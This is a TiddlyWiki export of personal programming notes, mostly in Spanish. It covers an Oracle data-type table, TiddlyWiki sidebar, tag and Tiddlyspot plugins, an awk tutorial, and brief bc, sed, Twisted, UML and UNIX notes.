|''numeric(p, e)''|La precisión máxima es de 38 dígitos.|La precisión máxima es de 38 dígitos.|Donde ''p'' es la precisión y ''e'' la escala. ''Por ejemplo:'' numeric(7,2) es un número que tiene 5 dígitos antes del decimal y 2 dígitos después del decimal.|
|''number(p, e)''|La precisión máxima es de 38 dígitos.|La precisión máxima es de 38 dígitos.|Donde ''p'' es la precisión y ''e'' la escala. ''Por ejemplo:'' number(7,2) es un número que tiene 5 dígitos antes del decimal y 2 dígitos después del decimal.|
|''real''||||
|''smallint''||||
|''char (tamaño)''|Hasta 32767 bytes en PLSQL. Hasta 2000 bytes en Oracle 8i.|Hasta 32767 bytes en PLSQL. Hasta 2000 bytes en Oracle 9i.|Donde ''tamaño'' es el número de caracteres a almacenar. Son cadenas de ancho fijo. Se rellena con espacios.|
|''varchar2 (tamaño)''|Hasta 32767 bytes en PLSQL. Hasta 4000 bytes en Oracle 8i.|Hasta 32767 bytes en PLSQL. Hasta 4000 bytes en Oracle 9i.|Donde ''tamaño'' es el número de caracteres a almacenar. Son cadenas de ancho variable.|
|''long''|Hasta 2 gigabytes.|Hasta 2 gigabytes.|Son cadenas de ancho variable.|
|''raw''|Hasta 32767 bytes en PLSQL. Hasta 2000 bytes en Oracle 8i.|Hasta 32767 bytes en PLSQL. Hasta 2000 bytes en Oracle 9i.|Son cadenas binarias de ancho variable.|
|''long raw''|Hasta 2 gigabytes.|Hasta 2 gigabytes.|Son cadenas binarias de ancho variable.|
|''date''|Una fecha entre el 1 de Enero de 4712 A.C. y el 31 de Diciembre de 9999 D.C.|Una fecha entre el 1 de Enero de 4712 A.C. y el 31 de Diciembre de 9999 D.C.||
|''timestamp (//fractional seconds precision//)''|No soportado por Oracle 8i.|''fractional seconds precision'' debe ser un número entre 0 y 9. (El valor por defecto es 6)|Incluye año, mes día, hora, minutos y segundos. ''Por ejemplo:'' timestamp(6)|
|''timestamp (//fractional seconds precision//) with time zone''|No soportado por Oracle 8i.|''fractional seconds precision'' debe ser un número entre 0 y 9. (El valor por defecto es 6)|Incluye año, mes día, hora, minutos y segundos; con un valor de desplazamiento de zona horaria. ''Por ejemplo:'' timestamp(5) with time zone|
|''timestamp (//fractional seconds precision//) with local time zone''|No soportado por Oracle 8i.|''fractional seconds precision'' debe ser un número entre 0 y 9. (El valor por defecto es 6)|Incluye año, mes día, hora, minutos y segundos; con una zona horaria expresada como la zona horaria actual. ''Por ejemplo:'' timestamp(4) with local time zone|
|''interval year (//year precision//) to month''|No soportado por Oracle 8i.|''year precision'' debe ser un número entre 0 y 9. (El valor por defecto es 2)|Período de tiempo almacenado en años y meses. ''Por ejemplo:'' interval year(4) to month|
|''interval day (//day precision//) to second (//fractional seconds precision//)''|No soportado por Oracle 8i.|''day precision'' debe ser un número entre 0 y 9. (El valor por defecto es 2) ''fractional seconds precision'' debe ser un número entre 0 y 9. (El valor por defecto es 6)|Incluye año, mes día, hora, minutos y segundos. ''Por ejemplo:'' interval day(2) to second(6)|
|''rowid''|El formato del campo rowid es: BBBBBBB.RRRR.FFFFF donde BBBBBBB es el bloque en el fichero de la base de datos; RRRR es la fila del bloque; FFFFF es el fichero de la base de datos.|El formato del campo rowid es: BBBBBBB.RRRR.FFFFF donde BBBBBBB es el bloque en el fichero de la base de datos; RRRR es la fila del bloque; FFFFF es el fichero de la base de datos.|Datos binarios de ancho fijo. Cada registro de la base de datos tiene una dirección física o rowid.|
|''urowid [tamaño]''|Hasta 2000 bytes.|Hasta 2000 bytes.|Rowid universal. Donde ''tamaño'' es opcional.|
|''boolean''|Válido en PLSQL, este tipo de datos no existe en Oracle 8i.|Válido en PLSQL, este tipo de datos no existe en Oracle 9i.||
|''nchar (tamaño)''|Hasta 32767 bytes en PLSQL. Hasta 2000 bytes en Oracle 8i.|Hasta 32767 bytes en PLSQL. Hasta 2000 bytes en Oracle 9i.|Donde ''tamaño'' es el número de caracteres a almacenar. Cadena NLS de ancho fijo.|
|''nvarchar2 (tamaño)''|Hasta 32767 bytes en PLSQL. Hasta 4000 bytes en Oracle 8i.|Hasta 32767 bytes en PLSQL. Hasta 4000 bytes en Oracle 9i.|Donde ''tamaño'' es el número de caracteres a almacenar. Cadena NLS de ancho variable.|
|''bfile''|Hasta 4 gigabytes.|Hasta 4 gigabytes.|Localizadores de archivo apuntan a un objeto binario de sólo lectura fuera de la base de datos.|
|''blob''|Hasta 4 gigabytes.|Hasta 4 gigabytes.|Localizadores LOB apuntan a un gran objeto binario dentro de la base de datos.|
|''clob''|Hasta 4 gigabytes.|Hasta 4 gigabytes.|Localizadores LOB apuntan a un gran objeto de caracteres dentro de la base de datos.|
|''nclob''|Hasta 4 gigabytes.|Hasta 4 gigabytes.|Localizadores LOB apuntan a un gran objeto NLS de caracteres dentro de la base de datos.|
/***
|Name|ToggleSideBarMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#ToggleSideBarMacro|
|Version|1.0|
|Requires|~TW2.x|
!Description:
Provides a button for toggling visibility of the SideBar. You can choose whether the SideBar should initially be hidden or displayed.
!Demo
<<toggleSideBar "Toggle Sidebar">>
!Usage:
{{{<<toggleSideBar>>}}} <<toggleSideBar>>
additional options:
{{{<<toggleSideBar label tooltip show/hide>>}}} where:
label = custom label for the button,
tooltip = custom tooltip for the button,
show/hide = use one or the other, determines whether the sidebar is shown at first or not.
(default is to show the sidebar)
You can add it to your tiddler toolbar, your MainMenu, or where you like really.
If you are using a horizontal MainMenu and want the button to be right aligned, put the following in your StyleSheet:
{{{ .HideSideBarButton {float:right;} }}}
!History
*23-07-06: version 1.0: completely rewritten, now works with custom stylesheets too, and easier to customize start behaviour.
*20-07-06: version 0.11
*27-04-06: version 0.1: working.
!Code
***/
//{{{
config.macros.toggleSideBar={};
config.macros.toggleSideBar.settings={
styleHide : "#sidebar { display: none;}\n"+"#contentWrapper #displayArea { margin-right: 1em;}\n"+"",
styleShow : " ",
arrow1: "«",
arrow2: "»"
};
config.macros.toggleSideBar.handler=function (place,macroName,params,wikifier,paramString,tiddler)
{
var tooltip= params[1]||'toggle sidebar';
var mode = (params[2] && params[2]=="hide")? "hide":"show";
var arrow = (mode == "hide")? this.settings.arrow1:this.settings.arrow2;
var label= (params[0]&¶ms[0]!='.')?params[0]+" "+arrow:arrow;
var theBtn = createTiddlyButton(place,label,tooltip,this.onToggleSideBar,"button HideSideBarButton");
if (mode == "hide")
{
(document.getElementById("sidebar")).setAttribute("toggle","hide");
setStylesheet(this.settings.styleHide,"ToggleSideBarStyles");
}
};
config.macros.toggleSideBar.onToggleSideBar = function(){
var sidebar = document.getElementById("sidebar");
var settings = config.macros.toggleSideBar.settings;
if (sidebar.getAttribute("toggle")=='hide')
{
setStylesheet(settings.styleShow,"ToggleSideBarStyles");
sidebar.setAttribute("toggle","show");
this.firstChild.data= (this.firstChild.data).replace(settings.arrow1,settings.arrow2);
}
else
{
setStylesheet(settings.styleHide,"ToggleSideBarStyles");
sidebar.setAttribute("toggle","hide");
this.firstChild.data= (this.firstChild.data).replace(settings.arrow2,settings.arrow1);
}
return false;
}
setStylesheet(".HideSideBarButton .button {font-weight:bold; padding: 0 5px;}\n","ToggleSideBarButtonStyles");
//}}}
/***
|Name:|ToggleTagPlugin|
|Description:|Makes a checkbox which toggles a tag in a tiddler|
|Version:|3.1.0 ($Rev: 4907 $)|
|Date:|$Date: 2008-05-13 03:15:46 +1000 (Tue, 13 May 2008) $|
|Source:|http://mptw.tiddlyspot.com/#ToggleTagPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Usage
{{{<<toggleTag }}}//{{{TagName TiddlerName LabelText}}}//{{{>>}}}
* TagName - the tag to be toggled, default value "checked"
* TiddlerName - the tiddler to toggle the tag in, default value the current tiddler
* LabelText - the text (gets wikified) to put next to the check box, default value is '{{{[[TagName]]}}}' or '{{{[[TagName]] [[TiddlerName]]}}}'
(If a parameter is '.' then the default will be used)
* TouchMod flag - if non empty then touch the tiddlers mod date. Note, can set config.toggleTagAlwaysTouchModDate to always touch mod date
!!Examples
|Code|Description|Example|h
|{{{<<toggleTag>>}}}|Toggles the default tag (checked) in this tiddler|<<toggleTag>>|
|{{{<<toggleTag TagName>>}}}|Toggles the TagName tag in this tiddler|<<toggleTag TagName>>|
|{{{<<toggleTag TagName TiddlerName>>}}}|Toggles the TagName tag in the TiddlerName tiddler|<<toggleTag TagName TiddlerName>>|
|{{{<<toggleTag TagName TiddlerName 'click me'>>}}}|Same but with custom label|<<toggleTag TagName TiddlerName 'click me'>>|
|{{{<<toggleTag . . 'click me'>>}}}|dot means use default value|<<toggleTag . . 'click me'>>|
!!Notes
* If TiddlerName doesn't exist it will be silently created
* Set label to '-' to specify no label
* See also http://mgtd-alpha.tiddlyspot.com/#ToggleTag2
!!Known issues
* Doesn't smoothly handle the case where you toggle a tag in a tiddler that is current open for editing
* Should convert to use named params
***/
//{{{
if (config.toggleTagAlwaysTouchModDate == undefined) config.toggleTagAlwaysTouchModDate = false;
merge(config.macros,{
toggleTag: {
createIfRequired: true,
shortLabel: "[[%0]]",
longLabel: "[[%0]] [[%1]]",
handler: function(place,macroName,params,wikifier,paramString,tiddler) {
var tiddlerTitle = tiddler ? tiddler.title : '';
var tag = (params[0] && params[0] != '.') ? params[0] : "checked";
var title = (params[1] && params[1] != '.') ? params[1] : tiddlerTitle;
var defaultLabel = (title == tiddlerTitle ? this.shortLabel : this.longLabel);
var label = (params[2] && params[2] != '.') ? params[2] : defaultLabel;
var touchMod = (params[3] && params[3] != '.') ? params[3] : "";
label = (label == '-' ? '' : label); // dash means no label
var theTiddler = (title == tiddlerTitle ? tiddler : store.getTiddler(title));
var cb = createTiddlyCheckbox(place, label.format([tag,title]), theTiddler && theTiddler.isTagged(tag), function(e) {
if (!store.tiddlerExists(title)) {
if (config.macros.toggleTag.createIfRequired) {
var content = store.getTiddlerText(title); // just in case it's a shadow
store.saveTiddler(title,title,content?content:"",config.options.txtUserName,new Date(),null);
}
else
return false;
}
if ((touchMod != "" || config.toggleTagAlwaysTouchModDate) && theTiddler)
theTiddler.modified = new Date();
store.setTiddlerTag(title,this.checked,tag);
return true;
});
}
}
});
//}}}
|~ViewToolbar|closeTiddler closeOthers +editTiddler > fields syncing permalink references jump|
|~EditToolbar|+saveTiddler -cancelTiddler deleteTiddler|
/***
Description: Contains the stuff you need to use Tiddlyspot
Note, you also need UploadPlugin, PasswordOptionPlugin and LoadRemoteFileThroughProxy
from http://tiddlywiki.bidix.info for a complete working Tiddlyspot site.
***/
//{{{
// edit this if you are migrating sites or retrofitting an existing TW
config.tiddlyspotSiteId = 'errepunto';
// make it so you can by default see edit controls via http
config.options.chkHttpReadOnly = false;
window.readOnly = false; // make sure of it (for tw 2.2)
window.showBackstage = true; // show backstage too
// disable autosave in d3
if (window.location.protocol != "file:")
config.options.chkGTDLazyAutoSave = false;
// tweak shadow tiddlers to add upload button, password entry box etc
with (config.shadowTiddlers) {
SiteUrl = 'http://'+config.tiddlyspotSiteId+'.tiddlyspot.com';
SideBarOptions = SideBarOptions.replace(/(<<saveChanges>>)/,"$1<<tiddler TspotSidebar>>");
OptionsPanel = OptionsPanel.replace(/^/,"<<tiddler TspotOptions>>");
DefaultTiddlers = DefaultTiddlers.replace(/^/,"[[WelcomeToTiddlyspot]] ");
MainMenu = MainMenu.replace(/^/,"[[WelcomeToTiddlyspot]] ");
}
// create some shadow tiddler content
merge(config.shadowTiddlers,{
'WelcomeToTiddlyspot':[
"This document is a ~TiddlyWiki from tiddlyspot.com. A ~TiddlyWiki is an electronic notebook that is great for managing todo lists, personal information, and all sorts of things.",
"",
"@@font-weight:bold;font-size:1.3em;color:#444; //What now?// @@ Before you can save any changes, you need to enter your password in the form below. Then configure privacy and other site settings at your [[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]] (your control panel username is //" + config.tiddlyspotSiteId + "//).",
"<<tiddler TspotControls>>",
"See also GettingStarted.",
"",
"@@font-weight:bold;font-size:1.3em;color:#444; //Working online// @@ You can edit this ~TiddlyWiki right now, and save your changes using the \"save to web\" button in the column on the right.",
"",
"@@font-weight:bold;font-size:1.3em;color:#444; //Working offline// @@ A fully functioning copy of this ~TiddlyWiki can be saved onto your hard drive or USB stick. You can make changes and save them locally without being connected to the Internet. When you're ready to sync up again, just click \"upload\" and your ~TiddlyWiki will be saved back to tiddlyspot.com.",
"",
"@@font-weight:bold;font-size:1.3em;color:#444; //Help!// @@ Find out more about ~TiddlyWiki at [[TiddlyWiki.com|http://tiddlywiki.com]]. Also visit [[TiddlyWiki.org|http://tiddlywiki.org]] for documentation on learning and using ~TiddlyWiki. New users are especially welcome on the [[TiddlyWiki mailing list|http://groups.google.com/group/TiddlyWiki]], which is an excellent place to ask questions and get help. If you have a tiddlyspot related problem email [[tiddlyspot support|mailto:support@tiddlyspot.com]].",
"",
"@@font-weight:bold;font-size:1.3em;color:#444; //Enjoy :)// @@ We hope you like using your tiddlyspot.com site. Please email [[feedback@tiddlyspot.com|mailto:feedback@tiddlyspot.com]] with any comments or suggestions."
].join("\n"),
'TspotControls':[
"| tiddlyspot password:|<<option pasUploadPassword>>|",
"| site management:|<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . . " + config.tiddlyspotSiteId + ">>//(requires tiddlyspot password)//<br>[[control panel|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/controlpanel]], [[download (go offline)|http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download]]|",
"| links:|[[tiddlyspot.com|http://tiddlyspot.com/]], [[FAQs|http://faq.tiddlyspot.com/]], [[blog|http://tiddlyspot.blogspot.com/]], email [[support|mailto:support@tiddlyspot.com]] & [[feedback|mailto:feedback@tiddlyspot.com]], [[donate|http://tiddlyspot.com/?page=donate]]|"
].join("\n"),
'TspotSidebar':[
"<<upload http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/store.cgi index.html . . " + config.tiddlyspotSiteId + ">><html><a href='http://" + config.tiddlyspotSiteId + ".tiddlyspot.com/download' class='button'>download</a></html>"
].join("\n"),
'TspotOptions':[
"tiddlyspot password:",
"<<option pasUploadPassword>>",
""
].join("\n")
});
//}}}
//Extraido de:// http://doc.ddart.net/shell/awk/
! Introduction
* awk reads from a file or from its standard input, and outputs to its standard output. You will generally want to redirect that into a file, but that is not done in these examples just because it takes up space. awk does not get along with non-text files, like executables and FrameMaker files. If you need to edit those, use a binary editor like hexl-mode in emacs.
* The most frustrating thing about trying to learn awk is getting your program past the shell's parser. The proper way is to use single quotes around the program, like so:
{{{
>awk '{print $0}' filename
}}}
* The single quotes protect almost everything from the shell. In csh or tcsh, you still have to watch out for exclamation marks, but other than that, you're safe.
* The second most frustrating thing about trying to learn awk is the lovely error messages:
{{{
awk '{print $0,}' filename
awk: syntax error near line 1
awk: illegal statement near line 1
}}}
gawk generally has better error messages. At least it tells you where in the line something went wrong:
{{{
gawk '{print $0,}' filename
gawk: cmd. line:1: {print $0,}
gawk: cmd. line:1: ^ parse error
}}}
So, if you're having problems getting awk syntax correct, switch to gawk for a while.
! Some basics:
* Awk recognizes the concepts of "file", "record", and "field".
* A file consists of records, which by default are the lines of the file. One line becomes one record.
* Awk operates on one record at a time.
* A record consists of fields, which by default are separated by any number of spaces or tabs.
* Field number 1 is accessed with $1, field 2 with $2, and so forth. $0 refers to the whole record.
! Some Samples
Perhaps the quickest way of learning awk is to look at some sample programs. The one above will print the file in its entirety, just like cat(1). Here are some others, along with a quick description of what they do.
{{{
>awk '{print $2,$1}' filename
}}}
will print the second field, then the first. All other fields are ignored.
{{{
>awk '{print $1,$2,sin($3/$2)}' filename
}}}
will print the first and second fields, and then the sine of the third field divided by the second. So, the second and third field had better be numbers. Awk has other built in math functions like sine; read the manpage to see which ones.
"I still say awk '{print $1}' a lot."
the inventor of PERL, Larry Wall (lwall@netlabs.com)
What if you don't want to apply the program to each line of the file? Say, for example, that you only wanted to process lines that had the first field greater than the second. The following program will do that:
{{{
>awk '$1 > $2 {print $1,$2,$1-$2}' filename
}}}
The part outside the curly braces is called the "pattern", and the part inside is the "action". The comparison operators include the ones from C:
{{{
== != < > <= >= ?:
}}}
If no pattern is given, then the action applies to all lines. This fact was used in the sample programs above. If no action is given, then the entire line is printed. If "print" is used all by itself, the entire line is printed. Thus, the following are equivalent:
{{{
awk '$1 > $2' filename
awk '$1 > $2{print}' filename
awk '$1 > $2{print $0}' filename
}}}
The various fields in a line can also be treated as strings instead of numbers. To compare a field to a string, use the following method:
{{{
>awk '$1=="foo"{print $2}' filename
}}}
! Using regular expressions
What if you want lines in which a certain string is found? Just put a regular expression (in the manner of egrep(1) ) into the pattern, like so:
{{{
>awk '/foo.*bar/{print $1,$3}' filename
}}}
This will print all lines containing the word "foo" and then later the word "bar". If you want only those lines where "foo" occurs in the second field, use the ~ ("contains") operator:
{{{
>awk '$2~/foo/{print $3,$1}' filename
}}}
If you want lines where "foo" does not occur in the second field, use the negated ~ operator, !~
{{{
>awk '$2!~/foo/{print $3,$1}' filename
}}}
This operator can be read as "does not contain".
! Booleans
You can produce complicated patterns with the boolean operators from C, which are ! for "not", && for "and", and || for "or". Parentheses can be used for grouping.
! Start and End
There are three special forms of patterns that do not fit the above descriptions. One is the start-end pair of regular expressions. For example, to print all lines between and including lines that contained "foo" and "bar", you would use
{{{
>awk '/foo/,/bar/' filename
}}}
! Begin and End
The other two special forms are similar; they are the BEGIN and END patterns. Any action associated with the BEGIN pattern will happen before any line-by-line processing is done. Actions with the END pattern will happen after all lines are processed.
But how do you put more than one pattern-action pair into an awk program? There are several choices.
* One is to just mash them together, like so:
{{{
>awk 'BEGIN{print"fee"} $1=="foo"{print"fi"} END{print"fo fum"}' filename
}}}
* Another choice is to put the program into a file, like so:
{{{
BEGIN{print"fee"}
$1=="foo"{print"fi"}
END{print"fo fum"}
}}}
Let's say that's in the file giant.awk. Now, run it using the "-f" flag to awk:
{{{
>awk -f giant.awk filename
}}}
* A third choice is to create a file that calls awk all by itself. The following form will do the trick:
{{{
#!/usr/bin/awk -f
BEGIN{print"fee"}
$1=="foo"{print"fi"}
END{print"fo fum"}
}}}
If we call this file giant2.awk, we can run it by first giving it execute permissions,
{{{
>chmod u+x giant2.awk
}}}
and then just call it like so:
{{{
>./giant2.awk filename
}}}
awk has variables that can be either real numbers or strings. For example, the following code prints a running total of the fifth column:
{{{
>awk '{print x+=$5,$0 }' filename
}}}
This can be used when looking at file sizes from an "ls -l". It is also useful for balancing one's checkbook, if the amount of the check is kept in one column.
! Awk variables
awk variables are initialized to either zero or the empty string the first time they are used. Which one depends on how they are used, of course.
Variables are also useful for keeping intermediate values. This example also introduces the use of semicolons for separating statements:
{{{
>awk '{d=($2-($1-4));s=($2+$1);print d/sqrt(s),d*d/s }' filename
}}}
Note that the final statement, a "print" in this case, does not need a semicolon. It doesn't hurt to put it in, though.
* Integer variables can be used to refer to fields. If one field contains information about which other field is important, this script will print only the important field:
{{{
>awk '{imp=$1; print $imp }' filename
}}}
* The special variable NF tells you how many fields are in this record. This script prints the first and last field from each record, regardless of how many fields there are:
{{{
>awk '{print $1,$NF }' filename
{{{
* The special variable NR tells you which record this is. It is incremented each time a new record is read in. This gives a simple way of adding line numbers to a file:
{{{
>awk '{print NR,$0 }' filename
}}}
Of course, there are a myriad of other ways to put line numbers on a file using the various UNIX utilities. This is left as an exercise for the reader.
* The special variable FS (Field Separator) determines how awk will split up each record into fields. This variable can be set on the command line. For example, /etc/passwd has its fields separated by colons.
{{{
>awk -F: '{print $1,$3 }' /etc/passwd
}}}
This variable can actually be set to any regular expression, in the manner of egrep(1).
The various fields are also variables, and you can assign things to them. If you wanted to delete the 10th field from each line, you could do it by printing fields 1 through 9, and then from 11 on using a for-loop (see below). But, this will do it very easily:
{{{
>awk '{$10=""; print }' filename
}}}
In many ways, awk is like C. The "for", "while", "do-while", and "if" constructs all exist. Statements can be grouped with curly braces. This script will print each field of each record on its own line.
{{{
>awk '{for(i=1;i<=NF;i++) print $i }' filename
}}}
If you want to produce format that is a little better formatted than the "print" statement gives you, you can use "printf" just like in C. Here is an example that treats the first field as a string, and then does some numeric stuff
{{{
>awk '{printf("%s %03d %02d %.15g\n",$1,$2,$3,$3/$2); }' filename
}}}
Note that with printf, you need the explicit newline character.
We can use "printf" to print stuff without the newline, which is useful in a for loop. This script prints each record with each of its fields reversed. Ok, so it isn't very useful.
{{{
>awk '{for(i=NF;i > 0;i--) printf("%s",$i); printf("\n"); }' filename
}}}
!Awk Arrays
awk has arrays, but they are only indexed by strings. This can be very useful, but it can also be annoying. For example, we can count the frequency of words in a document (ignoring the icky part about printing them out):
{{{
>awk '{for(i=1;i <=NF;i++) freq[$i]++ }' filename
}}}
The array will hold an integer value for each word that occurred in the file. Unfortunately, this treats "foo", "Foo", and "foo," as different words. Oh well. How do we print out these frequencies? awk has a special "for" construct that loops over the values in an array. This script is longer than most command lines, so it will be expressed as an executable script:
{{{
#!/usr/bin/awk -f
{for(i=1;i <=NF;i++) freq[$i]++ }
END{for(word in freq) print word, freq[word] }
}}}
This loop-over-an-array seems to go in no particular order. Thus, the output from a program like this must often be piped through sort(1) in order to be useful.
Multi-dimensional arrays are implemented in an odd way. The given indices are concatenated together (with a special separator) to get one string, and it is used as the index. This program will print the word-pair frequencies:
{{{
#!/usr/bin/awk -f
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++ }
END{for(words in freq) print words, freq[words] }
}}}
Unfortunately, this will print out the separator, which is by default not a common character. You can change this by assigning something logical like a space to the variable SUBSEP using nawk or gawk (it's not allowed in plain awk).
{{{
#!/usr/bin/awk -f
BEGIN{SUBSEP=""}
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++}
END{for(words in freq) print words, freq[words] }
}}}
Unfortunately (that word seems to occur a lot when talking about awk arrays), this doesn't let you refer to the indices individually. The secret to this it to use the "split" function, which breaks a string up into an array.
{{{
#!/usr/bin/awk -f
BEGIN{SUBSEP="" }
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++}
END{ for(words in freq)
{
split(words,word,SUBSEP);
print word[1], freq[words],word[2];
}
}
}}}
When you're using an awk script in a file, you can break your program across multiple lines to make it easier to read. Comments are started the same way as in sh programming, with a #
{{{
#!/usr/bin/awk -f
# this program prints the frequencies of word pairs
BEGIN{SUBSEP=""} # set the index separator
# to a nice character
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++}
END{ for(words in freq)
{
# just to show we can put a comment in here.
split(words,word,SUBSEP); # or here
print word[1], freq[words],word[2];
}
}
}}}
You can use awk to create text, as well as just process existing text. It is useful for quickly generating tables of function values, without the hassle of compiling a C program. For example, it can show that sin(x)/x approaches 1 as x approaches zero:
{{{
>awk '{x=1.0/NR; print x,sin(x)/x;}'
}}}
will print a new value each time it reads a new line. So, you can hit return until you have all the values you need. Alternately, if you need a set number of values, you can do
{{{
>awk 'BEGIN{for(i=1;i <=30;i++){x=1.0/i;print x,sin(x)/x;}}' /dev/null
}}}
where 30 is the set number of values.
It seems twisted*, but awk can be used to generate C code that one doesn't want to type by hand. For example, this script will generate an explicit 3x3 matrix multiplication routine:
{{{
gawk 'BEGIN{
for(i=0;i<3;i++)
for(j=0;j<3;j++){
printf("d[%d][%d]=",i,j);
for(k=0;k<3;k++){
printf("l[%d][%d]*r[%d][%d]%s",
i,k,k,j,(k<2)?"+":";\n");
}
}
}'
}}}
~* ok, maybe it is twisted.
! Punctuation guide
;{{{{}}}}
:used around the action, and to group statements in the action.
;{{{$}}}
:denotes a field. $1 is the first field, $0 is the whole record.
;{{{~}}}
:the "contains" operator. "foobar"~"foo" is true. Strings only.
;{{{!~}}}
:the "does not contain" operator. Strings only.
;{{{==}}}
:the equality operator. Works for numbers or strings
; {{{< > <= >= !=}}}
:inequality operators. Work for numbers or strings.
;{{{#}}}
:the begin-comment character
;{{{,}}}
:separates things in a "print" or "printf" statement.
;{{{;}}}
:separates statements.
;{{{//}}}
:used around a regular expression
;{{{&& }}}
:Boolean and
;{{{||}}}
:Boolean or
;{{{!}}}
:boolean not
;{{{()}}}
:used for grouping Boolean expressions, passing arguments to functions, and around conditions for "for","while", etc.
!Introducción
BC es un programa capaz de realizar operaciones matemáticas de cierta complejidad. Puede entenderse como una especie de calculadora avanzada en línea de comandos.
!Enlaces interesantes
* Documentación de BC en la página de GNU: http://www.gnu.org/software/bc/
* Tutorial en inglés, como llamar a BC en scripts: http://www.thegeekstuff.com/2009/11/unix-bc-command-line-calculator-in-batch-mode/
* Tutorial general en inglés: http://www.linuxjournal.com/article/9891
!Introducción
Sed es un editor de texto en flujo (stream editor), lo que indica que no es un editor de textos como los acostumbrados, si no que es un programa que edita un texto en base a unos comandos. Es, en definitiva, un programa que modifica un texto de forma programática. Por lo tanto, puede utilizarse como filtro en scripts de UNIX, por lo que se puede convertir en una útil herramienta multiusos a lo [[AWK|TutorialAwk]]
!Enlaces interesantes
* Documentación de Sed en la página de GNU: http://www.gnu.org/software/sed/manual/sed.html
* Tutorial en inglés, operaciones básicas: http://www.thegeekstuff.com/2009/11/unix-sed-tutorial-append-insert-replace-and-count-file-lines/
* Tutorial en inglés, operaciones multilinea: http://www.thegeekstuff.com/2009/11/unix-sed-tutorial-multi-line-file-operation-with-6-practical-examples/
! Introducción
Twisted es un framework para construir tanto clientes como servidores de red asíncronos. Se basa en el uso de callbacks (llamadas a funciones prefijadas) ante eventos como el envío o recepción de datos.
El framework se divide en varios módulos interconectados por el módulo principal, llamado "core". Existem también módulos para mensajería instantánea (words), ssh (conch), páginas web (web y web2).
! Ejemplo de cliente
{{{
from twisted.web.client import getPage
from twisted.internet import reactor
def errorHandler(error):
'''
Esta es una función 'errback', añadida al objeto Deferred, que lo llamará
en caso de error
'''
# Esta no es una manera muy efectiva de manejar el error, lo muestra por
# pantalla
print "Ha ocurrido un error: <%s>" % str(error)
# detiene el proceso
reactor.stop()
def lowerCaseContents(contents):
'''
Esto es una función 'callback', añadida al objeto Deferred y llamada
cuando los datos solicitados están disponibles. Convierte todos los
datos en minúsculas
'''
return contents.lower()
def printContents(contents):
'''
Esto es otra función 'callback', añadida después de lowerCaseContents(),
es llamada con los resultados de la llamada a la anterior función.
'''
print contents
# Detiene el gestor de eventos y finaliza el programa
reactor.stop()
deferred = getPage('http://twistedmatrix.com/')
# Añade los dos callbacks al objeto deferred -- solicita que se llame a la
# función lowerCaseContents cuando llegue el contenido descargado, y que después
# llame a la función printContents con el resultado de la llamada anterior
deferred.addCallback(lowerCaseContents)
deferred.addCallback(printContents)
# Añade el errback al objeto deferred para manejar los errores
deferred.addErrback(errorHandler)
# Lanza el gestor de eventos
reactor.run()
}}}
! Ejemplo de servidor
{{{
from twisted.internet.protocol import Protocol, Factory
from twisted.internet import reactor
class QOTD(Protocol):
def connectionMade(self):
self.transport.write("Ande yo caliente, riase la gente.\r\n")
self.transport.loseConnection()
# Las siguientes líneas hacen la magia
factory = Factory()
factory.protocol = QOTD
# 8007 es el puerto en el que corre el servicio. Normalmente >1024
reactor.listenTCP(8007, factory)
reactor.run()
}}}
! Enlaces
* http://twistedmatrix.com
!Descripción
Apuntes sobre UML
!Apuntes rápidos
*
!Enlaces interesantes
* Text UML: http://sourceforge.net/apps/mediawiki/textuml/index.php?title=TextUML_Tutorial
* Generador de UML a partir de descripción textual: http://yuml.me/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre UNIX en general
!Apuntes rápidos
* ''Colorear tail:'' El siguiente ejemplo muestra como colorear las líneas con "error" o "warn" en rojo y las líneas con "info" en verde.
{{{
tail -f ARCHIVO.log | perl -pe 's/.*\b(error|warn)\b.*/\e[1;31m$&\e[0m/ig; s/.*\b(info)\b.*/\e[0;32m$&\e[0m/ig'
}}}
!Enlaces interesantes
* ''Programas y aplicaciones:''
** Shell zsh: http://www.zsh.org/
** http://zsh.dotsrc.org/Guide/
* ''Documentación general:''
** Artículos de System Admin: http://systemadmin.es/series-de-articulos
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
* Tutorial sobre Python y Project Euler: http://lbrandy.com/blog/2009/03/some-tips-for-getting-started-on-project-euler/
* Otro juego de programación: http://lbrandy.com/blog/2008/09/what-code-golf-taught-me-about-python/
''Notas:''
Algunas curiosidades están copiadas tal cual de diversos medios. Es posible que no me haya acordado de anotar la referencia, o sencillamente no sepa de donde de donde han salido (cosas que he recordado o algo que he escuchado por lo radio, o me ha llegado por mail, etc). No obstante, trataré de apuntarlo
!Notas
